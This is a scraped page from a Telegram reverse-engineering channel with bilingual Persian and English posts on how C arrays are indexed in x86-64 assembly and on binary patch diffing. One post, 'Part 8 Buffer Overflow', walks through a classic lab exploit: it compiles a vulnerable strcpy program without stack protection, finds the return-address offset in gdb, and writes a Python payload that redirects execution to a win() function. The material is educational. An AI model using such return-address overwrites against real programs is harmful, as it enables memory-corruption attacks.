ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
وقتی C با آرایه‌ها کار میکنه کامپایلر چی تولید میکنه و چطور ما از روی اسمبلی بفهمیم indexing دقیقا چکار میکنه

یک مثال ساده در C

int arr[4] = {10, 20, 30, 40};

int get(int i){
    return arr[i];
}


کامپایلر چی میکنه

آرایه روی دیتا سکشن ذخیره میشه و index تبدیل میشه به:

address = base + index * sizeof(element)

چون int = 4 بایت:

arr[i] → arr + i*4



اسمبلی get در x86-64 بدون بهینه‌ سازی زیاد

get:
    mov     eax, DWORD PTR               
arr[rax*4]   ; eax = arr[i]
    ret


نکات مهم:

معنی دستورات

rax
پارامتر i

arr آدرس ثابت آرایه

rax*4
چون int چهار بایته

mov eax, [...]
مقدار رو در eax برمیگردونه return value

مهم‌ترین قانون

هر وقت دیدید reg * 4, reg * 8, reg * 2  یعنی داره به آرایه دسترسی میده

پایین دستورات به ترتیب نوع داده سایز ضربدر رجیستر

char / int8_t 1    i*1

short / int16_t 2    i*2

int / float4  i*4

long / pointer / int64_t 8   i*8



What does the compiler produce when C works with arrays and how do we understand from the assembly what exactly indexing does

A simple example in C

int arr[4] = {10, 20, 30, 40};

int get(int i){
return arr[i];
}


What does the compiler do

The array is stored in the data section and the index becomes:

address = base + index * sizeof(element)

Since int = 4 bytes:

arr[i] → arr + i*4
Assembly get in x86-64 without much optimization

get:
mov eax, DWORD PTR
arr[rax*4] ; eax = arr[i]
ret


Important points:

Meaning of commands

rax Parameter i

arr array constant address

rax*4 Since int is four bytes

mov eax, [...] Returns the value in eax return value


The most important rule

Whenever you see reg * 4, reg * 8, reg * 2, it means that the array is being accessed

Below are the commands in order of data type size times register

char / int8_t 1 i*1

short / int16_t 2 i*2

int / float4 i*4

long / pointer / int64_t 8 i*8


@reverseengine
5
تحلیل پچ Patch Analysis


فهمیدن فرق دو نسخه از یک باینری: چه چیزی تغییر کرده کد کجا اصلاح شده ایا باگ فیکس شده یا رفتار جدیدی اضافه شده

مثال:
دو نسخه‌ی یک برنامه‌ی open-source یا نمونه قانونی رو با ابزار هایی مثل BinDiff/Diaphora مقایسه کنید و ببینید تو کد چه توابعی تغییر کردن بعد pseudocode اون توابع رو چک کنید تا دلیل تغییر مشخص بشه

دیتکشن

توابعی که signature یا آدرس‌شون تغییر کرده ولی اسم ندارن احتمالا patch مهمه

اضافه شدن یا حذف شدن چک‌ های ورودی یا شرط‌ ها


میتیگیشن

سازمان: همیشه patch ها رو اول توی محیط تست بررسی کنید برای نسخه‌ها changelog و hash نگه دارید

توسعه‌دهنده: Release note دقیق بنویسید و نماد signature/hash ارائه بدید تا کسی بتونه درستی فایل رو چک کنه



Patch Analysis

Understanding the difference between two versions of a binary: what has changed, where the code has been modified, whether a bug has been fixed, or new behavior has been added

Example:
Compare two versions of an open-source program or legal sample with tools like BinDiff/Diaphora and see what functions in the code have changed, then examine the pseudocode of those functions to determine the reason for the change

Detection

Functions that have changed signatures or addresses but no names are likely important patches

Added or removed input checks or conditions

Mitigation

Organization: Always test patches in a test environment first, keep a changelog and hash for the versions

Developer: Write a detailed release note and provide a signature/hash symbol so that someone can check the file for correctness

@reverseengine
5
بخش هشتم بافر اورفلو


آدرس بازگشت و اجرای تابع win

کاری که میخواییم بکنیم
تو این قسمت مرحله به مرحله نشون میدیم چطور آفست بین ابتدای بافر و saved return address رو پیدا کنیم
بعد یاد میگیریم چطور آدرس تابع win رو بگیریم و ورودی بسازیم که وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا بشه

کد فایل file5_vuln.c

#include <stdio.h>
#include <string.h>

void win() {
puts("congrats you reached win");
}

void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}

int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}



کامپایل کنید

gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector


یک الگو بفرستید یا فقط A تکراری بفرستید تا کرش کنه

python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)


تو gdb توقف بذارید و قبل و بعد از strcpy نگاه کنید

break vuln

run

x/40x $rbp-64
# حافظه پایینتر از rbp رو ببینید قبل از strcpy
next
# اجرای کامل strcpy


x/40x $rbp-64
# بعد از strcpy ببینید چی تغییر کرده
وقتی کرش یا overwrite دیدید ادرس 8 بایتی که تو محل return افتاده رو بخونید

x/gx $rbp+8


ادرس تابع win رو بگیرید

p &win



ساخت payload ساده برای فرستادن آدرس win به جای return address
فرض کنید آفست بین ابتدای بافر و saved return address شد مثلا 40 اینطوری payload میسازیم آدرس win رو از دستور p &win بگیرید


python3 - <<'PY' > payload.bin
import sys,struct

offset = 40 # عددی که خودتون پیدا کردید

addr_win = 0x414141414141
# اینو با آدرس واقعی جایگزین کنید مثلا 0x4006b6

sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY


بعد اجرا کنید

./file5_vuln "$(cat payload.bin)"


اگر درست زدید وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا میشه و متنش چاپ میشه

نکته‌های مهم

آدرس ها داخل لینوکس x86_64 به صورت little endian هستن برای همین از struct.pack با '<Q' استفاده کردیم
برای اینکه آدرس ثابت باشه ASLR رو داخل VM خاموش کنید یا از پیکربندی VM استفاده کنید



Part 8 Buffer Overflow


return address and execute the win function

What we are going to do
In this part, we will show you step by step how to find the offset between the beginning of the buffer and the saved return address
Then we will learn how to get the address of the win function and create an input so that when vuln returns, the win function is executed instead of the normal return

File code file5_vuln.c

#include <stdio.h>
#include <string.h>

void win() {
puts("congrats you reached win");
}

void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}

int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}


Compile

gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector


Send a pattern or just a repeated A to crash

python3 -c "print('A'*200)" > in.txt

gdb --args ./file5_vuln $(cat in.txt)


Stop gdb and look before and after strcpy

break vuln

run

x/40x $rbp-64
# See memory below rbp before strcpy
next

# Run strcpy completely

x/40x $rbp-64 # See what changed after strcpy


When you see a crash or overwrite, read the 8-byte address that was in the return location

x/gx $rbp+8


Get the address of the win function

p &win


Create a simple payload to send the address of win to Instead of return address
Assume the offset between the beginning of the buffer and the saved return address is, for example, 40. This is how we create the payload. Get the win address from the p &win command

python3 - <<'PY' > payload.bin

import sys,struct

offset = 40 # The number you found yourself

addr_win = 0x414141414141
# Replace this with the real address, for example, 0x4006b6

sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY


Then run

./file5_vuln "$(cat payload.bin)"


If you typed correctly, when vuln returns, the win function will be executed instead of the normal return and its text will be printed

Important points
4
Addresses in Linux x86_64 are little endian, so we used struct.pack with '<Q'
To make the address constant Okay, turn off ASLR inside the VM or use the VM configuration

@reverseengine
4
ارایه های دو بعدی اسمبلی

مثال C:

int get_val(int arr[3][4], int i, int j) {
return arr[i][j];
}



نکته ریاضی:

در حافظه آرایه‌ های چند بعدی در C به‌ صورت خطی row-major ذخیره میشن:

arr[i][j] = arr + (i * تعداد_ستون‌ها + j)

چون int چهار بایته:

address = base + (i * 4 * num_cols) + (j * 4)



🧩 اسمبلی:

get_val:
mov eax, DWORD PTR [rdi + rsi*16 + rdx*4]
ret




💥 تحلیل خط‌ به‌ خط:

دستورات

rdi آرگومان اول آدرس پایه‌ی آرایه (base pointer)

rsi آرگومان دوم i (ردیف)

rdx آرگومان سوم j (ستون)

rsi*16
چون هر ردیف 4 عنصر داره و هر
عنصر 4 بایت 4*4=16

rdx*4 جابجایی داخل ردیف (jام)

جمع این دوتا با rdi = آدرس نهایی arr[i][j]

📘 زبان C:

return *(int *)((char*)arr + i*16 + j*4);


به صورت ساده تر:
return arr[i][j];



2D arrays assembly

C example:

int get_val(int arr[3][4], int i, int j) {
return arr[i][j];
}


Math Tip:

In memory, multidimensional arrays in C are stored in a linear row-major format:

arr[i][j] = arr + (i * num_cols + j)

Because int is four bytes:

address = base + (i * 4 * num_cols) + (j * 4)


🧩 Assembly:

get_val:
mov eax, DWORD PTR [rdi + rsi*16 + rdx*4]
ret



💥 Line-by-line analysis:

Instructions

rdi First argument base address of the array (base pointer)

rsi Second argument i (row)

rdx Third argument j (column)

rsi*16 Since each row has 4 elements and each
element is 4 bytes 4*4=16

rdx*4 Move into the (jth) row

Adding these two with rdi = final address arr[i][j]



📘 C language:

return *(int *)((char*)arr + i*16 + j*4);


In simpler terms:

return arr[i][j];



@reverseengine
3
دسترسی به آرایه‌های دو بعدی در اسمبلی

فرض کنید داخل C بنویسیم:

int arr[3][4];
return arr[i][j];


داخل حافظه این آرایه به صورت خط به خط Row-Major Order ذخیره میشه
یعنی ترتیب در حافظه این شکلیه:

arr[0][0], arr[0][1], arr[0][2], arr[0][3],
arr[1][0], arr[1][1], arr[1][2], arr[1][3],
arr[2][0], arr[2][1], arr[2][2], arr[2][3]



فرمول محاسبه آدرس عنصر:

اگر هر عنصر 4 بایت باشه نوع int آدرس arr[i][j] به صورت زیر حساب میشه:

address = base_address + ((i * number_of_columns) + j) * 4


داخل اسمبلی معمولا به شکل زیر پیاده میشه:

mov eax, i
imul eax, number_of_columns ; eax = i * 4
add eax, j ; eax = (i * 4) +j
mov eax, DWORD PTR [rbx + rax*4] ; eax = arr[i][j]


فرض کنید rbx آدرس پایه‌ ای آرایه هست



Accessing 2D Arrays in Assembly

Suppose we write in C:

int arr[3][4];
return arr[i][j];


In memory, this array is stored row by row in Row-Major Order

That is, the order in memory is as follows:

arr[0][0], arr[0][1], arr[0][2], arr[0][3],
arr[1][0], arr[1][1], arr[1][2], arr[1][3],
arr[2][0], arr[2][1], arr[2][2], arr[2][3]


Formula for calculating the element address:

If each element is 4 bytes, the int type address arr[i][j] is calculated as follows:

address = base_address + ((i * number_of_columns) + j) * 4


In assembly, it is usually implemented as follows:

mov eax, i
imul eax, number_of_columns ; eax = i * 4
add eax, j ; eax = (i * 4) +j
mov eax, DWORD PTR [rbx + rax*4] ; eax = arr[i][j]


Assume rbx is the base address of the array

@reverseengine
4
Forwarded from Source Byte
4